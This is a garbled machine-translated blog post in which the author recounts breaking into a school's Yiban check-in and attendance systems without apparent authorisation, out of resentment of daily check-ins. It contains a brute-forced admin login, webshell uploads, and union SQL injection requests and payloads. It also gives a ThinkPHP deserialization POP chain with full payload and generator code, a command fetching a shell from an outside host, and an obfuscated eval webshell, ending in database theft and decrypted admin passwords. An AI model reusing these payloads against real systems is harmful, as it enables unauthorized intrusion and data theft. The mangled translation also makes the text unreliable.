0x01はじめに
流行により、学校のYibanアプリはチェックインシステムを追加しました。これには、毎日朝の検査と午後の検査が必要です。忘れてしまうと、レビューする何千もの単語があります。
私はこの「形式主義」に深く不満を感じています。私はたまたまサイバーセキュリティチームを設立したので、それを操作する準備をしました。
0x02スポット
基本情報収集についてはあまり言いません
したがって、異なるシステムは複数のサーバーを使用します
それは完全に解決できないようです。コアシステムを獲得するには、さまざまなシステムとサーバーの素晴らしい学校システムの浸透の旅が必要です。
次に、コアシステムにタッチします
まず、「Yiban」システムのホームページを開き、これがどのように見えるかです
開発者がTPフレームワークを使用し、さまざまなTP注射をテストしたことを確認することは難しくありません。
RCEのペイロードは失敗に終わりました、そして、安全性の認識はそれほど悪くないようです
ドメイン名の下のホームページは、機能的なポイントや情報なしで完全にエラー報告ページです
saying sayingにあるように、情報収集の品質は浸透の成功または失敗を直接決定するので、私たちは決して不注意であってはなりません。
最初にファズの第1レベルのディレクトリに来てみましょう
結果は非常に優れており、多くのカタログと機能ポイントがあります。
次に、各第1レベルのディレクトリのセカンダリディレクトリを曖昧にし続け、ドメイン名の下に展開されている機能ポイントを常に探求しました。
第1レベルのディレクトリが多すぎるため、詳細については写真には行きません。
機能的なポイントを理解した後、ズボンを脱いで乾燥を開始します
0x03メンタルヘルスシステムの浸透(IISショートファイル名ポートポート - ブラストニューログインポートアプロード)
第1レベルのカタログを爆破し、爆破します
http://xxx.xxx.edu.cn/psyこのパス
心理教育の健康システムが展開され、ミドルウェアがIISであることがわかった
ただし、メンタルヘルスシステムのログインには検証コードメカニズムがあり、検証コードを識別するのは簡単ではありません
私はすぐにIISショートファイル名機能について考えました
次に、IISショートファイル名ディレクトリスキャンツールを使用します
(https://github.com/lijiejie/iis_shortname_scanner)スキャン用
他のシステムの古いログインポートを取得します
http://xxx.xxx.edu.cn/psy/login2.aspx
図に示されているように、検証コードメカニズムはありません
直接げっぷクラスター爆弾型爆発
他のシステムの弱いパスワード管理者AA123456を正常に取得しました
ただし、古いシステムの他のページが削除されており、通常はバックグラウンドにログインできません
しかし、古いシステムと新しいシステムで使用されているのと同じデータベースが推測されています
新しいシステムへのアクセス
http://xxx.xxx.edu.cn/psy/login.aspx
パスワード管理者、AA123456を使用して、正常にログインします
バックグラウンドでアップロードポイントを検索します
アップロードポイントはです
http://xxx.xxx.edu.cn/psy/scalemanage/scaleedit.aspx?scalelistid=1
スケールプラットフォームに追加されたトピックは、任意のファイルにアップロードされます
(そうです、このアップロードポイント.それは非常に隠されていると言えます.それを見つけるのに長い時間がかかりました)
ASPXのアップロードは不可解にジャンプします。 ASPは解析せず、ASMX馬を直接通過します。
AWVS 10のデバッグモジュールを介してコマンドを実行します
許可はネットサービスです
CobaltStrikeを使用して、PowerShellを直接POWERSHELLに移動します
パッチは死んでいるようです。
さまざまな地元の権利昇進が一度開始されましたが、役に立たなかった
comコンポーネントは、ジャガイモが装着された後も育てることさえできません。最初にこれをしましょう。右を上げる場合は、追加してください。
メンタルヘルスシステムは、初期の買収を発表しました
0x04ライブブロードキャストシステムインターフェイスインジェクション
ライブブロードキャストシステムに入った後、使用する意味がなく、開発はまだ完了していないことがわかりました。
しかし、げっぷで、私はajaxインターフェイスのリクエストを見つけました、
HTTPリクエストは次のように:です
post /index.php/live/index/seat_ajax.html http/1.1
host: xxx.xxx.edu.cn
Content-Length: 24
Accept:/
Origin:http://xxx.xxx.edu.cn
X-Requested With: xmlhttprequest
user-agent: mozilla/5.0(linux; u; android 5.1; zh-cn; 1501_m02 build/lmy47d)applewebkit/534.30(khtml、ygecko)バージョン/4.0 ucbrowser/11.0.0.0.818 U3/0.8.0モバイルSaf/534.30
Content-Type:アプリケーション/x-www-form-urlencoded; charset=utf-8
Referer:http://xxx.xxx.edu.cn/index.php/live/index/seat?place_id=10active_id=20
Accept-Encoding: gzip、deflate
Accept-Language: ZH-CN、ZH; Q=0.9、EN; Q=0.8
Cookie3360 ASP.NET_SESSIONID=S0CLWRGINZ0RW3X0SMTWTSGG; phpsessid=7985bf0a5f38e5922a651ac1f4ef9b1a; phpsessid=7985bf0a5f38e5922a651ac1f4ef9b1a
Connection:閉じます
place_id=10active_id=20
sqliペイロードを見つけるためにファズをします
両方のIDパラメーターには、組合注入があります
ペイロードを構築します
)null、null、null、null、null()、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null - null、null、null、null、null、null、null、
図に示すように、current_user情報が正常に取得されました。
'_root@10.40.0.22
ペイロードを構築します
place_id=10)null、null、null、null、group_concat(schema_name)、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null from information _schema.schemata-- ne neqyactive_id=20
ここでは、他のテーブル、列、データを実証しません。文を書いても大丈夫です、それはとても簡単です。
その後、他のシステムに多くのライブラリが関与していることがわかりましたが、私が最も望んでいたコアシステムのライブラリは見つかりませんでした。
0x05鈍いb64アップロード
ファズ関数ポイントの後、私は許可なしに写真をアップロードできる場所を見つけました
http://xxx.xxx.edu.cn/v4/public/weui/demo/form12.html
data:image/jpegが発見されたときにjpeg画像をアップロードします
データをImage/PHPに直接変更し、アップロードされたコンテンツBase64をエンコードして送信します
GetShellが成功し、システムの許可、権利のエスカレーションが救われました
0x06コアシステム素晴らしい浸透(nday desarialization +コマンド実行バイパス +条件付き競争の膨張)
検索、寒くて捨てられた、悲惨で悲惨な、最終的に「Yiban」を制御するコアシステムを見つけました
http://xxx.xxx.edu.cn/v4/public/index.php/admin/login.html?s=admin/api.update/tree
勝利はあなたの目の前にあります.あなたは眠らないとしても彼を殺さなければなりません
あらゆる種類のファズとさまざまな操作が一緒に配置されましたが、私はそれが役に立たないことがわかりました、そして、私はまだ毎日行きませんでした。
あきらめるべきですか?不可能、これは私たちのスタイルではありません
ページJSを注意深くチェックしていたとき、私はそのような興味深い情報を見つけました
私の目が明るくなりました、いまいましいシンカドミン、前に洗練されたnadがありました、それを手配しましょう!
http://xxx.xxx.edu.cn/v4/public/index.php/admin/login.html?s=admin/api.update/tree
Postdata:
ルール=a%3a2%3a%7bi%3a0%3bo%3a17%3a%22think%5cmodel%5cpivot%22%3a11%3a%7bs%3a21%3a%22%00think%5cmodel%00 lazysave%22% 3a1%3bs%3a19%3a%22%00think%5cmodel%00 exists%22%3bb%3a1%3bs%3a13%3a%22%00think%5cmodel% 2%00%2a%00 -connection%22%3bs%3a5%3a%22Mysql%22%3bs%3a7%3a%22%00%2a%00Name%22%3BO%3a17%3a%22thi nk%5cmodel%5cpivot%22%3a11%3a%7bs%3a21%3a%22%00think%5cmodel%00 lazysave%22%3bb%3a1%3bs%3a19%3a %22%00think%5cmodel%00 Exists%22%3bb%3a1%3bs%3a13%3a%22%00%2a%00connection%22%3bs%3a5%3a%22mys QL%22%3bs%3a7%3a%22%00%2a%00Name%22%3bs%3a0%3a%22%22%3bs%3a21%3a%22%00think%5cmodel%00withattr %22%3BA%3a1%3a%7bs%3a4%3a%22test%22%3bs%3a6%3a%22System%22%3b%7ds%3a9%3a%22%00%2a%00hidden%22 %3BA%3a1%3a%7bs%3a4%3a%22test%22%3bs%3a3%3a%22123%22%3b%7ds%3a17%3a%22%00think%5cmodel%00data% 22%3BA%3a1%3a%7bs%3a4%3a%22test%22%3bs%3a6%3a%22whoami%22%3b%7ds%3a12%3a%22%00%2a%00withent %22%3bb%3a0%3bs%3a18%3a%22%00think%5cmodel%00フォース%22%3bb%3a1%3bs%3a8%3a%22%00%2a Ba%3a0%3a%7b%7ds%3a9%3a%22%00%2a%00schema%22%3ba%3a0%3a%7b%7d%7ds%3a21%3a%22%00think%5cmodel% 00 withattr%22%3ba%3a1%3a%7bs%3a4%3a%22test%22%3bs%3a6%3a%22%22%3b%7ds%3a9%3a%22%00%2a%00隠し%22%3BA%3a1%3a%7bs%3a4%3a%22test%22%3bs%3a3%3a%22123%22%3b%7ds%3a17%3a%22%00think%5cmod EL%00DATA%22%3BA%3a1%3a%7bs%3a4%3a%22test%22%3bs%3a6%3a%22whoami%22%3b%7ds%3a12%3a%22%00%2a%00 withevent%22%3bb%3a0%3bs%3a18%3a%22%00think%5cmodel%00force%22%3bb%3a1%3bs%3a8%3a%22%00%2a%00f IELD%22%3BA%3a0%3a%7b%7ds%3a9%3a%22%00%2a%00schema%22%3ba%3a0%3a%7b%7d%7di%3a1%3bi%3a123%3b%7d //hoamiを実行します
以下は、次のように脱審上のポップチェーンです
?php
名前空間思考;
Think \ model \ pivotを使用してください。
抽象クラスモデル{
private $ lazysave=false; # 保存()
private $が存在する=false; #updatedata()
保護された$接続。
保護された$ name; #__toString()conversion.php=pivot
private $ with withattr=[]; #アサート
保護された$ hidden=[];
private $ data=[];
保護$ withevent=false;
private $ force=false;
保護された$ field=[];
保護された$ schema=[];
function __construct(){
$ this-lazysave=true;
$ this-exists=true;
$ this-withevent=false;
$ this-force=true;
$ this-connection='mysql';
$ this-withattr=['test'='system'];
$ this-data=['test'='whoami'];
$ this-hidden=['test'='123'];
$ this-field=[];
$ this-schema=[];
}
}
名前空間Think \ Model;
Think \ Modelを使用してください。
\#モデルは抽象クラスです。その継承クラスを見つけます。ここでは、ピボットクラスを選択します
クラスピボットはモデルを拡張します{
function __construct($ obj=''){
parent:__construct();
$ this-name=$ obj; #$ This-nameは値をサブクラスコンストラクターに入れ、ベースクラス属性を直接配置して成功せずに初期化します
}
}
$ a=new Pivot();
echo urlencode(serialize([new pivot($ a)、123]));
許可はシステムです、ハハハハハハハ、神も私を助けてくれます
しかし、私はEchoコマンドを使用してシェルを書くことに多くの問題に遭遇しました
コマンドはスペースを持つことができず、シェルはコマンドに直接記述されます。そうしないと、エラーが報告されます。
スペースは +に変換され、バックエンドはそれを認識できません
永続的な手動テストの後、 /\はスペースの限界をバイパスできることがわかります
次に、スプライシングコマンドを使用して、書き込み検出をバイパスすることを実現します
しかし、ターゲットマシンにはWAFがあり、数秒後に通常のウェブシェルが殺されます。
なぜだめですか?条件付き競争を通じて直接殺さずにウェブシェルをダウンロードしてください
コンストラクターは、条件付き競争を通じて殺すことなくシェルをダウンロードします
echo/^^?phps1.phpecho/file_put_contents( 's2.php'、file_get_contents( 'http://49.x.x.x:8080/shell.txt'));^gt; gt; gt; s2.php
シェルの内容は次のとおりです
?php
関数テスト($ php_c0d3){
$ password='skr'; //envpwd
$ cr=preg_filter( '/\ s+/'、 ''、 'c h r');
$ bs64=preg_filter( '/\ s+/'、 ''、 'bas e64 _de cod e');
$ gzi=$ cr(103)。$ cr(122)。$ cr(105)。$ cr(110);
$ gzi。=$ cr(102)。$ cr(108)。$ cr(97)。$ cr(116)。$ cr(101);
$ c=$ bs64($ php_c0d3);
$ c=$ gzi($ c);
@eval($ c);
}
$ php_c0d3='s0lny8xl1vavzkjnyslilc5w11ebuex'。
'5RSMA1RXCKGWZEWM2KVFBROGHRSEH0UOGVLISUC'。
'yztqmiaatumvqspfnny1wqarli1wbpraxi1lleh'。
'a2exrgdszrwaa==';
テスト($ php_c0d3);
?ポップチェーンの降下により、ポストダタを生成します
直接電話してください
http://xxx.xxx.edu.cn/v4/public/s2.php
パスワードSKR
直接取ってください
最後に、このチェックイン、レイトコール、出席コアシステム、管理者がライブラリに入り、管理者のパスワードを復号化しました
くそー、あなたはまだ私にレビューを書いてほしいですか?行ってたわごとを食べてください
Recommended Comments